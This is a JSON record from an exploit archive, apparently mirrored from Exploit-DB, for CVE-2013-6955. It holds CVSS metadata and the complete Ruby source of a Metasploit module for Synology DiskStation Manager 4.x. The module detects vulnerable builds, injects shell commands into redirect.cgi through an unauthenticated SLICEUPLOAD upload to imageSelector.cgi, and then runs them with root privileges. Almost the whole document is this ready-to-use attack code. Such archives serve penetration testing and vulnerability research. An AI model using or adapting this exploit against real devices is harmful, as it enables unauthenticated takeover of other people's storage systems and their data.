{"exploit":{"id":"EDB-30470","name":"Synology DiskStation Manager - SLICEUPLOAD Remote Command Execution (Metasploit)","description":"Synology DiskStation Manager - SLICEUPLOAD Remote Command Execution (Metasploit)","cves":["CVE-2013-6955"],"author":"Metasploit","published":"2013-12-24","platform":"unix","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/30470","path":"exploits/unix/remote/30470.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-30470.rb","vulnerabilities":[{"id":"CVE-2013-6955","state":"PUBLISHED","title":null,"titleSource":null,"description":"webman/imageSelector.cgi in Synology DiskStation Manager (DSM) 4.0 before 4.0-2259, 4.2 before 4.2-3243, and 4.3 before 4.3-3810 Update 1 allows remote attackers to append data to arbitrary files, and consequently execute arbitrary code, via a pathname in the SLICEUPLOAD X-TMP-FILE HTTP header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-6955","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-6955"},"updatedAt":"2024-08-06T17:53:45.550Z","retrievedAt":"2026-11-27T18:07:05.118Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-30470.png?v=2","url":"https://exploitbin.com/exploits/EDB-30470","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-30470/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-30470/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n## This module requires Metasploit: http//metasploit.com/download\n## Current source: https://github.com/rapid7/metasploit-framework\n###\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  DEVICE_INFO_PATTERN = /major=(?<major>\\d+)&minor=(?<minor>\\d+)&build=(?<build>\\d+)\n                        &junior=\\d+&unique=synology_\\w+_(?<model>[^&]+)/x\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"Synology DiskStation Manager SLICEUPLOAD Remote Command Execution\",\n      'Description'    => %q{\n        This module exploits a vulnerability found in Synology DiskStation Manager (DSM)\n        versions 4.x, which allows the execution of arbitrary commands under root\n        privileges.\n        The vulnerability is located in /webman/imageSelector.cgi, which allows to append\n        arbitrary data to a given file using a so called SLICEUPLOAD functionality, which\n        can be triggered by an unauthenticated user with a specially crafted HTTP request.\n        This is exploited by this module to append the given commands to /redirect.cgi,\n        which is a regular shell script file, and can be invoked with another HTTP request.\n        Synology reported that the vulnerability has been fixed with versions 4.0-2259,\n        4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.\n      },\n      'Author'         =>\n        [\n          'Markus Wulftange' # Discovery, Metasploit module\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2013-6955' ],\n        ],\n      'Privileged'     => false,\n      'Platform'       => ['unix'],\n      'Arch'           => ARCH_CMD,\n      'Payload'        =>\n        {\n          'DisableNops' => true,\n          'Space'       => 0x31337,\n          'Compat'      =>\n            {\n              'PayloadType' => 'cmd',\n              'RequiredCmd' => 'generic perl telnet',\n            }\n        },\n      'Targets'        =>\n        [\n          ['Automatic', {}]\n        ],\n      'DefaultTarget'  => 0,\n      'License'        => MSF_LICENSE,\n      'DisclosureDate' => 'Oct 31 2013'\n    ))\n\n    register_options(\n      [\n        Opt::RPORT(5000)\n      ], self.class)\n  end\n\n  def check\n    print_status(\"#{peer} - Trying to detect installed version\")\n\n    res = send_request_cgi({\n      'method'   => 'GET',\n      'uri'      => normalize_uri('webman', 'info.cgi'),\n      'vars_get' => { 'host' => ''}\n    })\n\n    if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN\n      version = \"#{$~[:major]}.#{$~[:minor]}\"\n      build = $~[:build]\n      model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }\n      model = \"DS#{model}\" unless model =~ /^[A-Z]/\n    else\n      print_status(\"#{peer} - Detection failed\")\n      return Exploit::CheckCode::Unknown\n    end\n\n    print_status(\"#{peer} - Model #{model} with version #{version}-#{build} detected\")\n\n    case version\n    when '4.0'\n      return Exploit::CheckCode::Vulnerable if build < '2259'\n    when '4.1'\n      return Exploit::CheckCode::Vulnerable\n    when '4.2'\n      return Exploit::CheckCode::Vulnerable if build < '3243'\n    when '4.3'\n      return Exploit::CheckCode::Vulnerable if build < '3810'\n      return Exploit::CheckCode::Detected if build == '3810'\n    end\n\n    Exploit::CheckCode::Safe\n  end\n\n  def exploit\n    cmds = [\n      # sed is used to restore the redirect.cgi\n      \"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi\",\n      payload.encoded\n    ].join(\"\\n\")\n\n    mime_msg = Rex::MIME::Message.new\n    mime_msg.add_part('login', nil, nil, 'form-data; name=\"source\"')\n    mime_msg.add_part('logo', nil, nil, 'form-data; name=\"type\"')\n\n    # unfortunately, Rex::MIME::Message canonicalizes line breaks to \\r\\n,\n    # so we use a placeholder and replace it later\n    cmd_placeholder = Rex::Text::rand_text_alphanumeric(10)\n    mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil,\n                      'form-data; name=\"foo\"; filename=\"bar\"')\n\n    post_body = mime_msg.to_s\n    post_body.strip!\n    post_body.sub!(cmd_placeholder, cmds)\n\n    # fix multipart encoding\n    post_body.gsub!(/\\r\\n(--#{mime_msg.bound})/, '  \\\\1')\n\n    # send request to append shell commands\n    print_status(\"#{peer} - Injecting the payload...\")\n    res = send_request_cgi({\n      'method'  => 'POST',\n      'uri'     => normalize_uri('webman', 'imageSelector.cgi'),\n      'ctype'   => \"multipart/form-data; boundary=#{mime_msg.bound}\",\n      'headers' => {\n        'X-TYPE-NAME' => 'SLICEUPLOAD',\n        'X-TMP-FILE'  => '/usr/syno/synoman/redirect.cgi'\n      },\n      'data'    => post_body\n    })\n\n    unless res and res.code == 200 and res.body.include?('error_noprivilege')\n      fail_with(Failure::Unknown, \"#{peer} - Unexpected response, probably the exploit failed\")\n    end\n\n    # send request to invoke the injected shell commands\n    print_status(\"#{peer} - Executing the payload...\")\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri'    => normalize_uri('redirect.cgi'),\n    })\n\n    # Read command output if cmd/unix/generic payload was used\n    if datastore['CMD']\n      unless res and res.code == 200\n        fail_with(Failure::Unknown, \"#{peer} - Unexpected response, probably the exploit failed\")\n      end\n\n      print_good(\"#{peer} - Command successfully executed\")\n      print_line(res.body)\n    end\n  end\nend","sha256":"2e36c819cc0a6b381f6d6c5015e4652c8504fc684a810c3d172483287ad5a363","bytes":5422,"fetchedAt":"2026-11-27T18:07:03.338Z","encoding":"utf-8 (display only; download retains original bytes)"}